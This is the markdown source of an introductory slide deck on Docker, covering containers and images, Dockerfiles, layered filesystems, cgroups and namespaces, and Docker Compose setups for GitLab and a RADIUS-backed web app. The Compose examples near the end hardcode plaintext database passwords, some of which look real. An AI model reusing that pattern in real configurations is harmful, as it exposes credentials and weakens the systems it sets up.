] --- # Starting an Ubuntu Container See what images we have: ```shell bash-3.2$ docker images REPOSITORY TAG IMAGE ID CREATED VIRTUAL SIZE ubuntu latest 07f8e8c5e660 2 weeks ago 188.3 MB hello-world latest 91c95931e552 4 weeks ago 910 B ``` Start an Ubuntu container in interactive mode with a pseudo-TTY: ```shell bash-3.2$ docker run -it ubuntu bash ``` Look ma, no extra processes! ```shell bash-3.2$ docker run -it ubuntu bash root@a8aa13345028:/# ps aux USER PID %CPU %MEM VSZ RSS TTY STAT START TIME COMMAND root 1 0.0 0.1 18180 3084 ? Ss 01:05 0:00 bash root 14 0.0 0.1 15572 2096 ? R+ 01:30 0:00 ps aux ``` See what containers are running: ```shell bash-3.2$ docker ps CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES 535b105d1ee2 ubuntu:latest "bash" 25 seconds ago Up 23 seconds hopeful_carson ``` --- # What's the difference? - How long does it take to start and stop a traditional VM? - *Generally, about 20-45 seconds.* - How long does it take to start and stop a container? - *Milliseconds!* - It's not magic sauce, just a different approach. i.e. We don't need to wait for a complete OS to boot with containers. - *Let's try it!* --- # The Docker Client and Daemon - The Docker Daemon can be controlled locally or remotely via the client. - Remote control can be done securely over TLS using client/server certs. .center[
] --- # My Docker Development Environment - Boot2Docker--just a *very* minimal Linux Distro VM running on my machine. (http://boot2docker.io/) - Docker Client installed on my machine communicates with Docker Daemon in VM over TLS. .center[
] --- # A Docker "container" vs. an "image" - Images are bases, or templates, from which we instantiate containers. - So, to do something useful this time. Let's start with a CentOS image and actually install something! .center[
] --- # The container metaphor... - How do we get all of our *stuff* in real life from overseas? - *Containers!* - It gets packed into a shipping container and put on a big boat, then a train, a truck etc.! .center[
] --- # The container metaphor... - So, we extend and adopt these notions of modularity, standardization, and ease of transport that are inherent to shipping containers, and apply them to the way we that we deploy our applications. .center[
] --- # Why would I want to use a container? - Docker and container virtualization are really about applications. - Application deployment can be as varied as the products we get via shipping containers. - Let's say you have a Ruby on Rails, Java, or Node.js Web application... - That application requires X version of Java or some strange Ruby Gem. That Gem requires yet another strange library on the OS. - Oh, and the developer says it only works (has been tested anyway) to work on Ubuntu 14.04 but you run CentOS 7! .center[
] --- # How does Docker help solve these complications? - With Docker, all of this is no problem! - We can "container-ize" our applications and all of their dependencies easily with Docker. - So, we "ship" our application in a Docker Container format, ready to rock. No complex installation guide necessary. .center[
] --- class: inverse, footnote # What's the big idea? Applications! .pinkify["Docker is an open platform for developers and sysadmins to build, ship, and run distributed applications.] .pinkify[IT can ship faster and run the same app, unchanged, on laptops, data center VMs, and any cloud."] .gray[Source: .gray[https://www.docker.com/whatisdocker/]] .white[ - Docker and container virtualization are about more than just saving compute resources! - Scaling and reliability. - Application isolation, testing, and development. - Application packaging, distribution, and deployment. ] --- # What is the Dockerfile format? - The Dockerfile specifies how to build a container. - Akin to a recipe. We create an image based on our Dockerfile instructions. - Each instruction is a "layer" (I'll explain). ```dockerfile # Use CentOS 7 as our base image FROM centos:7 # Install Apache web server RUN yum install httpd -y # Open up port 80 for web traffic EXPOSE 80 # The command to run when our container starts ENTRYPOINT /usr/sbin/httpd -D FOREGROUND ``` --- # With our Dockerfile, we can build an image. ```shell bash-3.2$ docker build -t waltermeyer/apache . Sending build context to Docker daemon 2.048 kB Sending build context to Docker daemon Step 0 : FROM centos:7 ---> fd44297e2ddb Step 1 : RUN yum install httpd -y ---> Using cache ---> 2e6af43fe071 Step 2 : EXPOSE 80 ---> Using cache ---> fca89aeeb929 Step 3 : ENTRYPOINT /usr/sbin/httpd -D FOREGROUND ---> Using cache ---> 311ab666eb60 Successfully built 311ab666eb60 ``` --- # Docker Layers and the Filesystem - Each one of our instructions in a Dockerfile creates a layer. - These layers eventually coalesce to form our final image. - This layering concept is what allows us to start with a base image (Ubuntu, CentOS) and layer our customizations on top of it without duplicating the underlying base image (which presumabley would be common to other containers on a system). .center[
] --- # Docker Networking - You can set various networking options for your containers at runtime. - Expose/open specific ports. - Link containers together. - Set IPs, DNS, etc. .center[
] --- # Under the Linux Container Hood - If you've heard of chroot jails, containers are in many ways a more advanced extension of this paradigm. - namespaces and cgroups are features of the Linux kernel that are used by Docker to give us Container Virtualization. .center[
] --- # Under the Linux Container Hood - Namespaces are essentially abstractions that create process-based isolation of system resources. A PID in a given namespace *thinks* it is by itself with respect to other PIDs, network resources, mount points, etc. - cgroups (aka control groups) control and limit access to system resources like CPU, I/O, Memory, Network, etc. - Together these features allow us to realize virtualized systems at the Kernel level. - All of our containers leverage and share the Kernel of our host OS. - TL;DR cgroups control what the process(es) our container can use in terms of compute resources and namespaces control what they can "see". (https://docs.docker.com/articles/security/) --- # Docker Layers and the Filesystem - Part of the "magic sauce" of Docker is that of the filesystem principles it leverages. - Specifically, Docker relies on what is called a Union Filesystems. - "Union file systems allow files and directories of separate file systems, known as branches, to be transparently overlaid, forming a single coherent file system." (https://docs.docker.com/introduction/understanding-docker/) - Supported are: AUFS, BTRFS, devicemapper, vfs, overlayfs (Source: RedHat) .center[
] Image Source: https://docs.docker.com/terms/filesystem/ --- # What the *#!$ is a Union Filesystem? - To review, a Linux System is typically comprised of a bootfs and a rootfs. - The bootfs is where the boot loader and kernel lives. - The rootfs contains most of the distribution specific qualities that make a particular Linux distro unique. .center[
] Image Source: https://docs.docker.com/terms/filesystem/ --- # What the *#!$ is a Union Filesystem? - This is how with Docker we can run multiple Linux distributions all on the same Kernel. - When we run a container, the uppermost layer is the actual container, and read/writeable. - The layers the reside "underneath" that container are what comprise our "image". .center[
] Image Source: https://docs.docker.com/terms/filesystem/ --- # Other Docker Tools - Docker Compose - Control multiple complex containers using YAML formatted files. - Docker Swarm - Clustering for Docker. - Docker Machine - Bootstrap machines as Docker hosts. --- # Where are containers being used today? ####"Everything at Google runs in a container" ####\- Joe Beda, Senior Staff Software Engineer at Google - Google, Ebay, Spotify, Yelp, and more. (https://www.docker.com/resources/usecases/) - Google Engineers were the initial creators and contributors of cgroups to Linux Kernel. (https://www.kernel.org/doc/Documentation/cgroups/cgroups.txt) --- # What platforms support containers and Docker today? - "Container-Focused" Linux Distros: CoreOS, Project Atomic, Dokku, Boot2Docker. - Cloud Providers: Amazon AWS, Microsoft Azure, Google Container Engine, DigitalOcean, DotCloud, Tutum, etc. - Docker client for Microsoft Windows available (MS and Docker have partnered)! - Docker Partners: https://www.docker.com/partners/find/ --- # What is Purchase doing with Docker? - Not that much, yet! - But two things worth talking about! - Started using it as a part of development workflow for Python web-application for ResNet network registration. - Running Gitlab using Docker and Docker Compose. .center[
] --- # Containerized GitLab - GitLab is basically a GUI web front end for managing and collaborating with Git repositories. - Basically, similar to GitHub but self-hosted and Open Source. - Allows for code colaboration, wikis, source code control, etc. - In addition to the web app itself, GitLab needs: Postgresql and Redis. .center[
] --- # Containerized GitLab - Running with Docker works great. But remember those Docker 'docker run' commands? - They can get pretty hairy when you want to do complex things with multiple containers. - For example, to run Gitlab, we would have to do: ```shell bash-3.2$ docker run -d --name=postgresql -v /opt/postgresql/data:/var/lib/postgresql \ -e DB_USER=gitlab -e DB_PASS=secret123 -e DB_NAME=gitlabhq_production sameersbn/postgresql:latest bash-3.2$ docker run -d --name=redis sameersbn/redis:latest bash-3.2$ docker run -d --name=gitlab -v /opt/gitlab/data:/home/git/data \ -e GITLAB_PORT=443 -e GITLAB_HOST=git.purchase.edu -e GITLAB_SSH_PORT=22 -e GITLAB_HTTPS=true \ -p <IP_ADDRESS>:22:22 -p <IP_ADDRESS>:22:22 ``` - That's a bit hard on the eyes and brain. - Docker Compose to the rescue! --- # Containerized GitLab - This is a Docker Compose fil. A single YAML formatted file for Docker Compose. - With this in a working directory, we run: *docker-compose up* and all 3 containers start. ```yaml postgresql: image: sameersbn/postgresql:latest volumes: - /opt/postgresql/data:/var/lib/postgresql environment: - DB_USER=gitlab - DB_PASS=secret123 - DB_NAME=gitlabhq_production redis: image: sameersbn/redis:latest gitlab: image: sameersbn/gitlab:7.8.4 links: - redis:redisio - postgresql:postgresql ports: - "<IP_ADDRESS>:443:443" - "<IP_ADDRESS>:22:22" volumes: - /opt/gitlab/data:/home/git/data environment: - GITLAB_HOST=git.purchase.edu - GITLAB_SSH_PORT=22 - GITLAB_PORT=443 - GITLAB_HTTPS=true # ... TRUNCATED... ``` --- # Containerized Web Application .center[
] --- # Containerized Web Application .center[
] --- # Containerized Web Application - Again, we use Docker Compose to manage our Docker containers. ```shell # MySQL Container mysql: image: mysql:latest environment: - MYSQL_ROOT_PASSWORD=Cent4aur - MYSQL_DATABASE=radius - MYSQL_USER=radius - MYSQL_PASSWORD=Sup3rS3rial # freeradius Container freeradius: command: "-X" image: waltermeyer/freeradius:latest links: - mysql:mysql ports: - "1812:1812" - "1813:1813" volumes: - /Users/walt/Git/freeradius-configs/:/etc/raddb # web2py Container web2py: image: waltermeyer/web2py:latest links: - freeradius:freeradius - mysql:mysql ports: - "8000:8000" volumes: - /Users/walt/Git/reggy/:/web2py/applications/reggy ``` --- # The (growing) Container Virtualization "Ecosystem" of Applications... .center[
] --- # What are the use cases for the Enterprise and Education? - Use it as a component of a PaaS (Platform as a Service). (http://deis.io/). - Use Docker based project from Yelp to put shell users into containers. (https://github.com/Yelp/dockersh) - *Faculty and Student development could benefit from having a reusuable, disposable, and lightwieght container-based platform.* - Streamline your development and deployment processes. - *Being able to quickly create, test, and destroy the environments your applications run on, regardless of platform, is invaluable to improving development and testing.* - Application/security testing. - Running an application in an isolated container allows you to see what it's doing before deploying it elsewhere. Then you can do a: ```shell bash-3.2$ docker diff container_id ``` --- class: inverse, footnote # You can try it on your laptop, right now! For CLI ♥ ers (OS X or Windows): http://boot2docker.io
For GUI ♥ ers (OS X only): http://kitematic.com
.pinkify[P.S. I won't be offended if you ignore me and play with Docker now...] --- # What's the catch? - Docker itself is a relatively new piece of software (2013). - Container virtualization itself is actually pretty old (cgroups and namespaces developed between 2006-2008). - Can I use Docker in production? It depends, but probably, depending on what you want to do and how much time you can invest in learning/testing/vetting it in your environment. - Docker security is still evolving. (https://blog.docker.com/2015/05/docker-security-tools/) - The "ecosystem" of tools that orchestrate and leverage Docker are rapidly developing and changing, as is Docker. --- # The future... - IMHO, containers, in one form or another, are going to become increasingly prominent for running and deploying isolated, distributed, and highly available applications on Linux. - The container runtimes themselves, Docker, Rocket, etc. will likely change and face stiff, albeit healthy, competition from one another and elsewhere, as container technology, and the principles it brings with it, continue to advance and gain traction in the Enterprise. --- class: inverse, footnote # Questions / Comments / Tomatoes .pinkify[Email<EMAIL_ADDRESS>.pinkify[Slides: https://waltermeyer.github.io/stc2015] Try It: http://boot2docker.io
OR http://kitematic.com